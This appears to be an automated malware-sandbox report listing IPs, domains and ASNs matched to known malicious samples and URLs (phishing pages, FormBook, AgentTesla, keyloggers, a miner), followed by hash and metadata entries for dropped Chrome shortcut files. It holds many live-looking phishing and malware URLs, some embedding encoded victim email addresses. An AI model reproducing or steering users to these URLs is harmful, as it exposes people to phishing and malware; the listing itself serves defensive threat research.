104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
104.18.94.41	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse
	Q1 Statements.html	Get hash	malicious	Unknown	Browse
	http://plnbl.io/review/VdCYQSoKp54z	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?q=YG2GERTSbxgfeaGh1Yi5pby8yODY0MDkxOTEyNjI3MjNkMzQzMGNlYjE1ZTRjZjNlZWUwMTM5NGMyMDk3MmRmYTllZTBkMzUzMDBlZDFjOWNjMjdhNWZiYmM0OTU1ODkzMjEyMjI5MjAwOTkviinbsewtyuas53D1e4a0cefd8db4ad28e54c10117f7d498%2526i%253DNjI2YjE3MTBiZWI4YTgxMWUwNDIxNzE3%2526p%253Dm%2526s%253DAVNPUEhUT0NFTkNSWVBUSVYmhcLGCIsQzpMqHgYCBBo2kwEPWKEfFaahaLsnpofO4A%2526t%253DM3dHV0ZCT2t4azAvRVhKQ3B1ZC95RFFTdmpSMCt3cEFxWHJocUMzM0EyZz0%25253D%2526u%253DaHR0cHM6Ly9tLmV4YWN0YWcuY29tL2NsLmFzcHg_ZXh0UHJvdkFwaT1zaXh0L&sa=t&url=amp%2Fdlocumndjkacheckckoqingnmlcsoftlineon-secure-portal.us-iad-10.linodeobjects.com/newdocusign.html#Tdcjoiletuzn43fqnlhtwn8dbfakjhsdbfjhasbdfkjasbdkf%20ashjdbaksdbfkjasbdbfad	Get hash	malicious	Unknown	Browse
	https://sUNg.ethamoskag.ru/0cUrcw3/#Msburkholder@heartland-derm.com	Get hash	malicious	Unknown	Browse
	https://juddshaw.acemlnc.com/lt.php?x=3DZy~GDHJXeaEpz5-g1FVxNz1qEjv_Qij~tijXnLI3Ke75_7z0y.yuJz5X6lmNI~jusw	Get hash	malicious	HTMLPhisher	Browse
	https://juddshaw.acemlnc.com/lt.php?x=3DZy~GE4V3Sh78B__Q9GUuBs1XzUv_D1ke04YXLDKXmbEs370Ey.yuJz5X6lmNI~jusw	Get hash	malicious	HTMLPhisher	Browse
	https://pozaweclip.upnana.com/	Get hash	malicious	Unknown	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0033.t-0009.t-msedge.net	https://jmak-service.com/3225640388	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	audio.mp3_JasonhTranscript.html	Get hash	malicious	Unknown	Browse	13.107.246.61
	Onedrive Shared document.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	https://app.saner.ai/shared/notes/7353e5ae-dd5f-410b-92c3-210c9e88052a	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	1735939565593f5d6bf694464eb338b020a826ec212acacc46d4424bb914edbae3d507116e469.dat-decoded.exe	Get hash	malicious	LiteHTTP Bot	Browse	13.107.246.61
	cJ6xbAA5Rn.exe	Get hash	malicious	Unknown	Browse	13.107.246.61
	LEmJJ87mUQ.exe	Get hash	malicious	Lokibot	Browse	13.107.246.61
	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	http://nxejt.polluxcastor.top	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://mzvdazkxhcgohr.azureedge.net/7766j/?fbclid=IwY2xjawEYc-5leHRuA2FlbQEwAAEdG07X18DGPEURgpfyaSZY6plE3zyyIkcG5kokds9mnvD6i-BtmiU_lzIp_aem_ff88HnOUTFQFLZ993tisVw#	Get hash	malicious	Unknown	Browse	13.107.246.61
cdnjs.cloudflare.com	XL-1-6-25-(EXCEL LATEST 2025).html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://wfs.SATSGroup.co/login.php?id=bmZlcmRpbmFuZG9Ad2ZzLmFlcm8=	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://url.uk.m.mimecastprotect.com/s/jiGQCnr5DH7GvmPu9fVSJcV9l?domain=wfs.satsgroup.co	Get hash	malicious	Unknown	Browse	104.17.24.14
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://jmak-service.com/3225640388	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://wetransfert-devis-factgfd.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	Subscription_Renewal_Invoice_2025_HKVXTC.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	104.17.25.14
	YOUR TV LICENCE STATEMENT.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
code.jquery.com	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	151.101.66.137
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://jmak-service.com/3225640388	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	Subscription_Renewal_Invoice_2025_HKVXTC.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://sUNg.ethamoskag.ru/0cUrcw3/#Msburkholder@heartland-derm.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	Sburkholder.pdf	Get hash	malicious	Unknown	Browse	151.101.130.137
	audio.mp3_JasonhTranscript.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://pozaweclip.upnana.com/	Get hash	malicious	Unknown	Browse	151.101.194.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://vq6btbhdpo.nutignaera.shop/?email=YWxlamFuZHJvLmdhcnJpZG9Ac2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.12.205
	EZZGTmJj4O.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tintin.klipdesak.shop/rinko.png	Get hash	malicious	Unknown	Browse	104.21.112.1
	https://my.remarkable.com/	Get hash	malicious	Unknown	Browse	104.19.153.19
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	104.18.86.42
CLOUDFLARENETUS	https://vq6btbhdpo.nutignaera.shop/?email=YWxlamFuZHJvLmdhcnJpZG9Ac2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.12.205
	EZZGTmJj4O.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tintin.klipdesak.shop/rinko.png	Get hash	malicious	Unknown	Browse	104.21.112.1
	https://my.remarkable.com/	Get hash	malicious	Unknown	Browse	104.19.153.19
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	104.18.86.42
CLOUDFLARENETUS	https://vq6btbhdpo.nutignaera.shop/?email=YWxlamFuZHJvLmdhcnJpZG9Ac2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.12.205
	EZZGTmJj4O.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://tintin.klipdesak.shop/rinko.png	Get hash	malicious	Unknown	Browse	104.21.112.1
	https://my.remarkable.com/	Get hash	malicious	Unknown	Browse	104.19.153.19
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	104.18.86.42
FASTLYUS	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	185.199.110.133
	https://vq6btbhdpo.nutignaera.shop/?email=YWxlamFuZHJvLmdhcnJpZG9Ac2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	151.101.65.229
	https://my.remarkable.com/	Get hash	malicious	Unknown	Browse	151.101.64.176
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://mike_precisionsignz_com-dot-mm-event3.appspot.com/em_rVAL3dAGbChDeM11H7vU?url=https://levita-magnetics-inc.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	151.101.130.79
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://jmak-service.com/3225640388	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	185.199.111.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 15:18:24 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9920243666242827
Encrypted:	false
SSDEEP:	48:8LHdtAjTWM70AHxidAKZdA1JehwiZUklqehTy+3:8L7AjixCsy
MD5:	9D4C4C1289560D36B01B8D102B035C16
SHA1:	6CC2C58849CC98322B8956CA4ACAA7B6DE1508D3
SHA-256:	971F8E9839287457BBC4763D305C1281C9544F2B0BFE53F71AA0A150470763C1
SHA-512:	E2A40AB023B96818130DFF84D367A684272E6D5D34C08EE6BF9FCA70CE87A8BFB14E9382DC270672C79D18598C3D9C17320B3AE2C49EF25BEA30487204A9DF1B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......X..a......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V(ZM............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 15:18:24 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.006841289581527
Encrypted:	false
SSDEEP:	48:80HdtAjTWM70AHxidAKZdA10eh/iZUkAQkqehcy+2:807AjixI9Qxy
MD5:	26F94F04914AB11264D8B71A4FE98400
SHA1:	2804390113783F37D6E9D94D564E9441F6DD37BB
SHA-256:	6ABF4600322A25B7F2D9966ADF1CED8781FCBC6B140179BD0745CEAEC24A30EE
SHA-512:	82C061176136F7F21C3D0272130259B843C410736C91AE71F6ED309F51B6FF11A79FEB061E94B70E36DA7162D6FF67F3B1997AB59AE53EDCA29B366B340B888B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....j.K..a......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V(ZM............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.018603461683243
Encrypted:	false
SSDEEP:	48:8eHdtAjTWM70jHxidAKZdA14tIeh7sFiZUkmgqeh7s6y+BX:8e7Ajix5noy
MD5:	FDEF62D9E5D06D3984205E419002F276
SHA1:	3CEC5A52F8E2565E1E820FBA137D1ADBDD6F5206
SHA-256:	B021826CE2EB5F0EA27BE1A3BC303663D40D9853BE1D396EE5E5D77BF4D553E4
SHA-512:	E85D9715471B2724DD8DBF9229C8ED614108BAA8B39786C2AEA02845922ABE015A8B4C41C04BFDC74DE1740906716FB27CFD8EB32CC588EA62C1E2F19F09501A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 15:18:24 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.006608202029384
Encrypted:	false
SSDEEP:	48:8PHdtAjTWM70AHxidAKZdA1behDiZUkwqehQy+R:8P7AjixDiy
MD5:	609BB141758FC5421F14151ABB83A047
SHA1:	24188E1AEEDFF3A254538A13F62D41A9142200E4
SHA-256:	64F30418D3AF250CACF345A54E6139B1F786FFDED463612B0EDDC7E7DEE7419F
SHA-512:	B2A7D82760C942C8508541214AE83AE2E0542352FB87131283EBF7EA6D1B82C64102D4BF5306433699F7CDA04337D81B403DE58D611FB48FC9E030731C7F577B
Malicious:	false
Reputation:	low
